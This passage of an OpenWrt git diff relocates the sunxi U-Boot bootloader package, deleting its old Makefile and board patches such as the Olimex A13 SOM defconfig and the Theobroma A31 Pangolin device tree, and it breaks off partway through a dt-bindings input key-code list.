 delete mode 100644 package/boot/uboot-sunxi/patches/013-enable-realtek-phy.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/014-fix-gmac-init.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/016-spl-print-mmc-slot.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/017-usb-add-support-for-usb3-vbus-pin.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/018-usb-specify-vbus-pins-on-orangepis.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/019-sid-add-efuse-support-for-h3-a83t.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/020-boot-display-board-model-on-startup.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/100-sun6i-alternate-on-UART2.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/101-sun6i-support-console-on-UART2.patch
 delete mode 100644 package/boot/uboot-sunxi/patches/102-sunxi-make_CONS_INDEX-configurable.patch
 delete mode 100644 package/boot/uboot-sunxi/uEnv-default.txt
 delete mode 100644 package/boot/uboot-sunxi/uEnv-pangolin.txt
 create mode 100644 target/linux/sunxi/image/uboot/Makefile
 create mode 100644 target/linux/sunxi/image/uboot/patches/001-use-dtc-in-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/002-add-olimex-a13-som.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/003-add-theobroma-a31-pangolin.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/010-dt-sync-files-with-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/011-dt-sync-dts-files-with-kernel.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/012-sun6i-fix-clock_twi_onoff.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/013-enable-realtek-phy.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/014-fix-gmac-init.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/015-fix-2nd-usb-ctrler-on-sun47i.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/016-spl-print-mmc-slot.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/017-usb-add-support-for-usb3-vbus-pin.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/018-usb-specify-vbus-pins-on-orangepis.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/019-sid-add-efuse-support-for-h3-a83t.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/020-boot-display-board-model-on-startup.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/091-sun6i-sync-PLL1-multdiv-with-Boot1.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/093-sun6i-fix-PLL-LDO-voltselect.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/100-sun6i-alternate-on-UART2.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/101-sun6i-support-console-on-UART2.patch
 create mode 100644 target/linux/sunxi/image/uboot/patches/102-sunxi-make_CONS_INDEX-configurable.patch
 create mode 100644 target/linux/sunxi/image/uboot/uEnv-default.txt
 create mode 100644 target/linux/sunxi/image/uboot/uEnv-pangolin.txt
 create mode 100644 target/linux/sunxi/profiles/00-default.mk

diff --git a/package/boot/uboot-sunxi/Makefile b/package/boot/uboot-sunxi/Makefile
deleted file mode 100644
index 70a5d4d..0000000
--- a/package/boot/uboot-sunxi/Makefile
+++ /dev/null
@@ -1,188 +0,0 @@
-#
-# Copyright (C) 2013-2016 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-include $(TOPDIR)/rules.mk
-include $(INCLUDE_DIR)/kernel.mk
-
-PKG_NAME:=u-boot
-PKG_VERSION:=2016.03
-PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
-PKG_SOURCE_URL:= \
-	http://mirror2.openwrt.org/sources \
-	ftp://ftp.denx.de/pub/u-boot
-
-PKG_HASH:=e49337262ecac44dbdeac140f2c6ebd1eba345e0162b0464172e7f05583ed7bb
-
-PKG_BUILD_DIR:=$(KERNEL_BUILD_DIR)/$(PKG_NAME)-$(BUILD_VARIANT)/$(PKG_NAME)-$(PKG_VERSION)
-
-PKG_LICENSE:=GPL-2.0 GPL-2.0+
-PKG_LICENSE_FILES:=Licenses/README
-
-include $(INCLUDE_DIR)/package.mk
-
-define uboot/Default
-  TITLE:=
-  CONFIG:=
-  IMAGE:=
-endef
-
-define uboot/A10-OLinuXino-Lime
-  TITLE:=U-Boot for the A10 OLinuXino LIME
-endef
-
-define uboot/A13-OLinuXino
-  TITLE:=U-Boot for the A13 OlinuXino
-endef
-
-define uboot/A20-OLinuXino-Lime
-  TITLE:=U-Boot for the A20 OLinuXino LIME
-endef
-
-define uboot/A20-OLinuXino_MICRO
-  TITLE:=U-Boot for A20 OLinuXino MICRO
-endef
-
-define uboot/Bananapi
-  TITLE:=U-Boot for Bananapi
-endef
-
-define uboot/Bananapro
-  TITLE:=U-Boot for Bananapro
-endef
-
-define uboot/Cubieboard
-  TITLE:=U-Boot for Cubieboard
-endef
-
-define uboot/Cubieboard2
-  TITLE:=U-Boot for Cubieboard2
-endef
-
-define uboot/Cubietruck
-  TITLE:=U-Boot for Cubietruck
-endef
-
-define uboot/Hummingbird_A31
-  TITLE:=U-Boot for the Hummingbird A31 board
-endef
-
-define uboot/Mele_M9
-  TITLE:=U-Boot for the Mele M9 (A31)
-endef
-
-define uboot/OLIMEX_A13_SOM
-  TITLE:=U-Boot for the Olimex A13 SOM
-endef
-
-define uboot/Linksprite_pcDuino
-  TITLE:=U-Boot for Linksprite pcDuino
-endef  
-
-define uboot/Linksprite_pcDuino3
-  TITLE:=U-Boot for Linksprite pcDuino3
-endef  
-
-define uboot/Lamobo_R1
-  TITLE:=U-Boot for Lamobo R1
-endef
-
-define uboot/pangolin
-  TITLE:=U-Boot for Theobroma A31-yQ7 devboard
-endef
-
-define uboot/orangepi_plus
-  TITLE:=U-Boot for Orange Pi Plus (H3)
-endef
-
-UBOOTS:= \
-	A10-OLinuXino-Lime \
-	A13-OLinuXino \
-	A20-OLinuXino-Lime \
-	A20-OLinuXino_MICRO \
-	Bananapi \
-	Bananapro \
-	Cubieboard \
-	Cubieboard2 \
-	Cubietruck \
-	Hummingbird_A31 \
-	Mele_M9 \
-	OLIMEX_A13_SOM \
-	Linksprite_pcDuino \
-	Linksprite_pcDuino3 \
-	Lamobo_R1 \
-	orangepi_plus \
-	pangolin
-
-define Package/uboot/template
-define Package/uboot-sunxi-$(1)
-  SECTION:=boot
-  CATEGORY:=Boot Loaders
-  DEPENDS:=@TARGET_sunxi
-  TITLE:=$(2)
-  URL:=http://www.denx.de/wiki/U-Boot
-  VARIANT:=$(1)
-  MAINTAINER:=Zoltan HERPAI <wigyori at uid0.hu>
-endef
-endef
-
-define BuildUBootPackage
-	$(eval $(uboot/Default))
-	$(eval $(uboot/$(1)))
-	$(call Package/uboot/template,$(1),$(TITLE))
-endef
-
-ifdef BUILD_VARIANT
-$(eval $(call uboot/$(BUILD_VARIANT)))
-UBOOT_CONFIG:=$(if $(CONFIG),$(CONFIG),$(BUILD_VARIANT))
-UBOOT_IMAGE:=$(if $(IMAGE),$(IMAGE),openwrt-$(BOARD)-$(BUILD_VARIANT)-u-boot.bin)
-endif
-
-# check if any specialized uEnv bootconfig is required
-ifeq ($(UBOOT_CONFIG),pangolin)
-	UENV:=pangolin
-else
-	UENV:=default
-endif
-
-define Build/Configure
-	$(MAKE) -C $(PKG_BUILD_DIR) \
-		USE_PRIVATE_LIBGCC=yes $(UBOOT_CONFIG)_defconfig
-endef
-
-define Build/Compile
-	$(MAKE) -C $(PKG_BUILD_DIR) \
-		CROSS_COMPILE=$(TARGET_CROSS) \
-		DTCDIR=$(LINUX_DIR)/scripts/dtc/
-endef
-
-define Package/uboot/install/default
-	$(CP) $(PKG_BUILD_DIR)/u-boot.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot.bin
-	$(CP) $(PKG_BUILD_DIR)/spl/sunxi-spl.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-spl.bin
-	$(CP) $(PKG_BUILD_DIR)/u-boot-sunxi-with-spl.bin \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-u-boot-with-spl.bin
-	$(CP) uEnv-$(UENV).txt \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-uEnv.txt
-	mkimage -C none -A arm -T script -d $(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-uEnv.txt \
-		$(KERNEL_BUILD_DIR)/uboot-$(BOARD)-$(1)-boot.scr
-endef
-
-define Package/uboot/install/template
-define Package/uboot-sunxi-$(1)/install
-	$(call Package/uboot/install/default,$(2))
-endef
-endef
-
-$(foreach u,$(UBOOTS), \
-	$(eval $(call Package/uboot/install/template,$(u),$(u))) \
-)
-
-$(foreach u,$(UBOOTS), \
-	$(eval $(call BuildUBootPackage,$(u))) \
-	$(eval $(call BuildPackage,uboot-sunxi-$(u))) \
-)
diff --git a/package/boot/uboot-sunxi/patches/001-use-dtc-in-kernel.patch b/package/boot/uboot-sunxi/patches/001-use-dtc-in-kernel.patch
deleted file mode 100644
index 6471e78..0000000
--- a/package/boot/uboot-sunxi/patches/001-use-dtc-in-kernel.patch
+++ /dev/null
@@ -1,11 +0,0 @@
---- a/Makefile
-+++ b/Makefile
-@@ -348,7 +348,7 @@ OBJDUMP		= $(CROSS_COMPILE)objdump
- AWK		= awk
- PERL		= perl
- PYTHON		= python
--DTC		= dtc
-+DTC		= $(DTCDIR)dtc
- CHECK		= sparse
- 
- CHECKFLAGS     := -D__linux__ -Dlinux -D__STDC__ -Dunix -D__unix__ \
diff --git a/package/boot/uboot-sunxi/patches/002-add-olimex-a13-som.patch b/package/boot/uboot-sunxi/patches/002-add-olimex-a13-som.patch
deleted file mode 100644
index f29ad12..0000000
--- a/package/boot/uboot-sunxi/patches/002-add-olimex-a13-som.patch
+++ /dev/null
@@ -1,21 +0,0 @@
---- /dev/null
-+++ b/configs/OLIMEX_A13_SOM_defconfig
-@@ -0,0 +1,18 @@
-+CONFIG_SPL=y
-+CONFIG_SYS_EXTRA_OPTIONS="CONS_INDEX=2"
-+CONFIG_DEFAULT_DEVICE_TREE="sun5i-a13-olinuxino"
-+CONFIG_ARM=y
-+CONFIG_ARCH_SUNXI=y
-+CONFIG_MACH_SUN5I=y
-+CONFIG_DRAM_CLK=408
-+CONFIG_DRAM_ZQ=123
-+CONFIG_DRAM_EMR1=0
-+# CONFIG_CMD_IMLS is not set
-+# CONFIG_CMD_FLASH is not set
-+# CONFIG_CMD_FPGA is not set
-+CONFIG_DM_SERIAL=y
-+CONFIG_USB=y
-+CONFIG_DM_USB=y
-+CONFIG_SYS_NS16550=y
-+CONFIG_SUNXI_NO_PMIC=y
-+CONFIG_USB_EHCI_HCD=y
diff --git a/package/boot/uboot-sunxi/patches/003-add-theobroma-a31-pangolin.patch b/package/boot/uboot-sunxi/patches/003-add-theobroma-a31-pangolin.patch
deleted file mode 100644
index e5a66d7..0000000
--- a/package/boot/uboot-sunxi/patches/003-add-theobroma-a31-pangolin.patch
+++ /dev/null
@@ -1,385 +0,0 @@
---- a/arch/arm/dts/Makefile
-+++ b/arch/arm/dts/Makefile
-@@ -152,6 +152,7 @@ dtb-$(CONFIG_MACH_SUN6I) += \
- 	sun6i-a31-m9.dtb \
- 	sun6i-a31-mele-a1000g-quad.dtb \
- 	sun6i-a31-mixtile-loftq.dtb \
-+	sun6i-a31-pangolin.dtb \
- 	sun6i-a31s-cs908.dtb \
- 	sun6i-a31s-primo81.dtb \
- 	sun6i-a31s-sinovoip-bpi-m2.dtb
---- a/arch/arm/dts/sun6i-a31.dtsi
-+++ b/arch/arm/dts/sun6i-a31.dtsi
-@@ -643,6 +643,13 @@
- 				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 			};
- 
-+			i2c3_pins_a: i2c3 at 0 {
-+				allwinner,pins = "PB5", "PB6";
-+				allwinner,function = "i2c3";
-+				allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+				allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+			};
-+
- 			mmc0_pins_a: mmc0 at 0 {
- 				allwinner,pins = "PF0", "PF1", "PF2",
- 						 "PF3", "PF4", "PF5";
---- /dev/null
-+++ b/arch/arm/dts/sun6i-a31-pangolin.dts
-@@ -0,0 +1,292 @@
-+/*
-+ * Copyright 2015, Theobroma Systems Design und Consulting GmbH
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/dts-v1/;
-+#include "sun6i-a31.dtsi"
-+#include "sunxi-common-regulators.dtsi"
-+
-+#include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
-+
-+/ {
-+	model = "Theobroma Systems A31 Pangolin";
-+	compatible = "tsd,a31-pangolin", "allwinner,sun6i-a31";
-+
-+	aliases {
-+		serial0 = &uart0;
-+		serial2 = &uart2;
-+		spi0 = &spi0;
-+		spi1 = &spi1;
-+		spi2 = &spi2;
-+		spi3 = &spi3;
-+	};
-+
-+	chosen {
-+		stdout-path = "serial2:115200n8";
-+	};
-+};
-+
-+&ehci0 {
-+	status = "okay";
-+};
-+
-+&ohci0 {
-+	status = "okay";
-+};
-+
-+&ehci1 {
-+	status = "okay";
-+};
-+
-+&ohci1 {
-+	status = "okay";
-+};
-+
-+&ohci2 {
-+	status = "okay";
-+};
-+
-+&gmac {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&gmac_pins_rgmii_a>;
-+	phy = <&phy1>;
-+	phy-mode = "rgmii";
-+	snps,reset-gpio = <&pio 0 7 GPIO_ACTIVE_LOW>;
-+	snps,reset-active-low;
-+	snps,reset-delays-us = <0 10000 30000>;
-+	status = "okay";
-+
-+	phy1: ethernet-phy at 4 {
-+		reg = <4>;
-+	};
-+};
-+
-+&i2c0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c3 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c3_pins_a>;
-+	status = "okay";
-+
-+	rtc_twi: rtc at 6f {
-+	 compatible = "isil,isl1208";
-+	 reg = <0x6f>;
-+	};
-+	fan: fan at 18 {
-+		compatible = "ti,amc6821";
-+		reg = <0x18>;
-+		cooling-min-state = <0>;
-+		cooling-max-state = <9>;
-+		#cooling-cells = <2>;
-+	};
-+};
-+
-+&spi0 {
-+	status = "okay";
-+
-+	flash: flash at 0 {
-+		compatible = "spansion,m25p40";
-+		spi-max-frequency = <16000000>;
-+		spi-cpol;
-+		spi-cpha;
-+	};
-+};
-+
-+&spi1 {
-+	status = "okay";
-+};
-+
-+&ir {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&ir_pins_a>;
-+	status = "okay";
-+};
-+
-+&mmc0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_pangolin>;
-+	vmmc-supply = <&reg_vcc3v0>;
-+	bus-width = <4>;
-+	cd-gpios = <&pio 2 19 GPIO_ACTIVE_LOW>; /* PC19 */
-+	status = "okay";
-+};
-+
-+&mmc0_pins_a {
-+	/* external pull-ups missing for some pins */
-+	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+};
-+
-+&mmc2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&mmc2_pins_a>;
-+	vmmc-supply = <&reg_vcc3v0>;
-+	bus-width = <8>;
-+	non-removable;
-+	status = "okay";
-+};
-+
-+&pio {
-+	mmc0_cd_pin_pangolin: mmc0_cd_pin at 0 {
-+		allwinner,pins = "PC19";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
-+	leds_pins_pangolin: led_pins at 0 {
-+		allwinner,pins = "PH7", "PC16";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_20_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	mmc2_pins_a: mmc2 at 0 {
-+		allwinner,pins = "PC6","PC7","PC8","PC9","PC10","PC11",
-+				"PC12","PC13","PC14","PC15";
-+		allwinner,function = "mmc2";
-+		allwinner,drive = <SUN4I_PINCTRL_30_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&p2wi {
-+	status = "okay";
-+
-+	axp221: pmic at 68 {
-+		compatible = "x-powers,axp221";
-+		reg = <0x68>;
-+		interrupt-parent = <&nmi_intc>;
-+		interrupts = <0 IRQ_TYPE_LEVEL_LOW>;
-+		interrupt-controller;
-+		#interrupt-cells = <1>;
-+		dcdc1-supply = <&vcc_3v0>;
-+		dcdc5-supply = <&vcc_dram>;
-+
-+		regulators {
-+			x-powers,dcdc-freq = <3000>;
-+
-+			vcc_3v0: dcdc1 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <3000000>;
-+				regulator-max-microvolt = <3000000>;
-+				regulator-name = "vcc-3v0";
-+			};
-+
-+			vdd_cpu: dcdc2 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <700000>;
-+				regulator-max-microvolt = <1320000>;
-+				regulator-name = "vdd-cpu";
-+			};
-+
-+			vdd_gpu: dcdc3 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <700000>;
-+				regulator-max-microvolt = <1320000>;
-+				regulator-name = "vdd-gpu";
-+			};
-+
-+			vdd_sys_dll: dcdc4 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <1100000>;
-+				regulator-max-microvolt = <1100000>;
-+				regulator-name = "vdd-sys-dll";
-+			};
-+
-+			vcc_dram: dcdc5 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <1500000>;
-+				regulator-max-microvolt = <1500000>;
-+				regulator-name = "vcc-dram";
-+			};
-+
-+			vcc_wifi: aldo1 {
-+				regulator-min-microvolt = <3300000>;
-+				regulator-max-microvolt = <3300000>;
-+				regulator-name = "vcc_wifi";
-+			};
-+
-+			avcc: aldo3 {
-+				regulator-always-on;
-+				regulator-min-microvolt = <3000000>;
-+				regulator-max-microvolt = <3000000>;
-+				regulator-name = "avcc";
-+			};
-+		};
-+	};
-+};
-+
-+&uart0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&uart0_pins_a>;
-+	status = "okay";
-+};
-+
-+&usb1_vbus_pin_a {
-+	allwinner,pins = "PD23";
-+};
-+
-+&reg_usb1_vbus {
-+	gpio = <&pio 3 23 GPIO_ACTIVE_HIGH>; /* PD 23 */
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	status = "okay";
-+	usb1_vbus-supply = <&reg_usb1_vbus>;
-+};
---- /dev/null
-+++ b/configs/pangolin_defconfig
-@@ -0,0 +1,36 @@
-+CONFIG_SUNXI_PANGOLIN=y
-+CONFIG_SPL=y
-+CONFIG_SYS_EXTRA_OPTIONS="USB_EHCI,SUNXI_GMAC,RGMII"
-+CONFIG_DEFAULT_DEVICE_TREE="sun6i-a31-pangolin"
-+CONFIG_VIDEO_VGA_VIA_LCD=y
-+CONFIG_VIDEO_VGA_EXTERNAL_DAC_EN="PH25"
-+CONFIG_ARM=y
-+CONFIG_ARCH_SUNXI=y
-+CONFIG_MACH_SUN6I=y
-+CONFIG_DRAM_CHANNELS=1
-+CONFIG_DRAM_CLK=360
-+CONFIG_DRAM_ZQ=70
-+CONFIG_AXP_DCDC1_VOLT=3300
-+CONFIG_AXP_ALDO1_VOLT=0
-+CONFIG_AXP_ALDO2_VOLT=1800
-+CONFIG_AXP_ALDO3_VOLT=3000
-+CONFIG_AXP_DLDO4_VOLT=3300
-+CONFIG_AXP_ELDO1_VOLT=1200
-+CONFIG_AXP_ELDO2_VOLT=2500
-+CONFIG_AXP_ELDO3_VOLT=3300
-+CONFIG_MMC_SUNXI_SLOT_EXTRA=2
-+CONFIG_CONS_INDEX=3
-+# Vbus gpio for usb1
-+CONFIG_USB1_VBUS_PIN=""
-+# No Vbus gpio for usb2
-+CONFIG_USB2_VBUS_PIN=""
-+CONFIG_USB=y
-+CONFIG_DM_USB=y
-+CONFIG_USB_EHCI=y
-+CONFIG_USB_KEYBOARD=y
-+CONFIG_DM_ETH=y
-+CONFIG_CMD_IMLS=n
-+CONFIG_ETH_DESIGNWARE=y
-+CONFIG_DM_SPI=y
-+CONFIG_DM_SPI_FLASH=y
-+CONFIG_SUNXI_SPI=y
---- a/board/sunxi/Kconfig
-+++ b/board/sunxi/Kconfig
-@@ -15,7 +15,6 @@ config SUNXI_GEN_SUN6I
- 	separate ahb reset control registers, custom pmic bus, new style
- 	watchdog, etc.
- 
--
- choice
- 	prompt "Sunxi SoC Variant"
- 	optional
-@@ -533,6 +532,14 @@ config VIDEO_LCD_PANEL_I2C_SCL
- 	Set the SCL pin for the LCD i2c interface. This takes a string in the
- 	format understood by sunxi_name_to_gpio, e.g. PH1 for pin 1 of port H.
- 
-+choice
-+	prompt "Sunxi Board Variant"
-+	optional
-+
-+config SUNXI_PANGOLIN
-+	bool "Theobroma A31 uQ7 Board"
-+
-+endchoice
- 
- # Note only one of these may be selected at a time! But hidden choices are
- # not supported by Kconfig
diff --git a/package/boot/uboot-sunxi/patches/010-dt-sync-files-with-kernel.patch b/package/boot/uboot-sunxi/patches/010-dt-sync-files-with-kernel.patch
deleted file mode 100644
index d8fa52c..0000000
--- a/package/boot/uboot-sunxi/patches/010-dt-sync-files-with-kernel.patch
+++ /dev/null
@@ -1,1403 +0,0 @@
-From 4bb656e9dde2019cb42ac4c27b3a114a801ad127 Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Wed, 16 Mar 2016 13:41:23 +0100
-Subject: [PATCH] include/dt-bindings: Sync some files with the kernel
-
-This commit syncs the dt-bindings/input/* headers with the kernel (v4.5)
-and adds dt-bindings/clock/sun4i-a10-pll2.h, both are necessary for newer
-sunxi dts files to build.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Reviewed-by: Tom Rini <trini at konsulko.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- include/dt-bindings/clock/sun4i-a10-pll2.h    |  53 ++
- include/dt-bindings/input/input.h             | 510 +---------------
- include/dt-bindings/input/linux-event-codes.h | 805 ++++++++++++++++++++++++++
- 3 files changed, 859 insertions(+), 509 deletions(-)
- create mode 100644 include/dt-bindings/clock/sun4i-a10-pll2.h
- create mode 100644 include/dt-bindings/input/linux-event-codes.h
-
---- /dev/null
-+++ b/include/dt-bindings/clock/sun4i-a10-pll2.h
-@@ -0,0 +1,53 @@
-+/*
-+ * Copyright 2015 Maxime Ripard
-+ *
-+ * Maxime Ripard <maxime.ripard at free-electrons.com>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+#ifndef __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_
-+#define __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_
-+
-+#define SUN4I_A10_PLL2_1X	0
-+#define SUN4I_A10_PLL2_2X	1
-+#define SUN4I_A10_PLL2_4X	2
-+#define SUN4I_A10_PLL2_8X	3
-+
-+#endif /* __DT_BINDINGS_CLOCK_SUN4I_A10_PLL2_H_ */
---- a/include/dt-bindings/input/input.h
-+++ b/include/dt-bindings/input/input.h
-@@ -9,515 +9,7 @@
- #ifndef _DT_BINDINGS_INPUT_INPUT_H
- #define _DT_BINDINGS_INPUT_INPUT_H
- 
--#define KEY_RESERVED		0
--#define KEY_ESC			1
--#define KEY_1			2
--#define KEY_2			3
--#define KEY_3			4
--#define KEY_4			5
--#define KEY_5			6
--#define KEY_6			7
--#define KEY_7			8
--#define KEY_8			9
--#define KEY_9			10
--#define KEY_0			11
--#define KEY_MINUS		12
--#define KEY_EQUAL		13
--#define KEY_BACKSPACE		14
--#define KEY_TAB			15
--#define KEY_Q			16
--#define KEY_W			17
--#define KEY_E			18
--#define KEY_R			19
--#define KEY_T			20
--#define KEY_Y			21
--#define KEY_U			22
--#define KEY_I			23
--#define KEY_O			24
--#define KEY_P			25
--#define KEY_LEFTBRACE		26
--#define KEY_RIGHTBRACE		27
--#define KEY_ENTER		28
--#define KEY_LEFTCTRL		29
--#define KEY_A			30
--#define KEY_S			31
--#define KEY_D			32
--#define KEY_F			33
--#define KEY_G			34
--#define KEY_H			35
--#define KEY_J			36
--#define KEY_K			37
--#define KEY_L			38
--#define KEY_SEMICOLON		39
--#define KEY_APOSTROPHE		40
--#define KEY_GRAVE		41
--#define KEY_LEFTSHIFT		42
--#define KEY_BACKSLASH		43
--#define KEY_Z			44
--#define KEY_X			45
--#define KEY_C			46
--#define KEY_V			47
--#define KEY_B			48
--#define KEY_N			49
--#define KEY_M			50
--#define KEY_COMMA		51
--#define KEY_DOT			52
--#define KEY_SLASH		53
--#define KEY_RIGHTSHIFT		54
--#define KEY_KPASTERISK		55
--#define KEY_LEFTALT		56
--#define KEY_SPACE		57
--#define KEY_CAPSLOCK		58
--#define KEY_F1			59
--#define KEY_F2			60
--#define KEY_F3			61
--#define KEY_F4			62
--#define KEY_F5			63
--#define KEY_F6			64
--#define KEY_F7			65
--#define KEY_F8			66
--#define KEY_F9			67
--#define KEY_F10			68
--#define KEY_NUMLOCK		69
--#define KEY_SCROLLLOCK		70
--#define KEY_KP7			71
--#define KEY_KP8			72
--#define KEY_KP9			73
--#define KEY_KPMINUS		74
--#define KEY_KP4			75
--#define KEY_KP5			76
--#define KEY_KP6			77
--#define KEY_KPPLUS		78
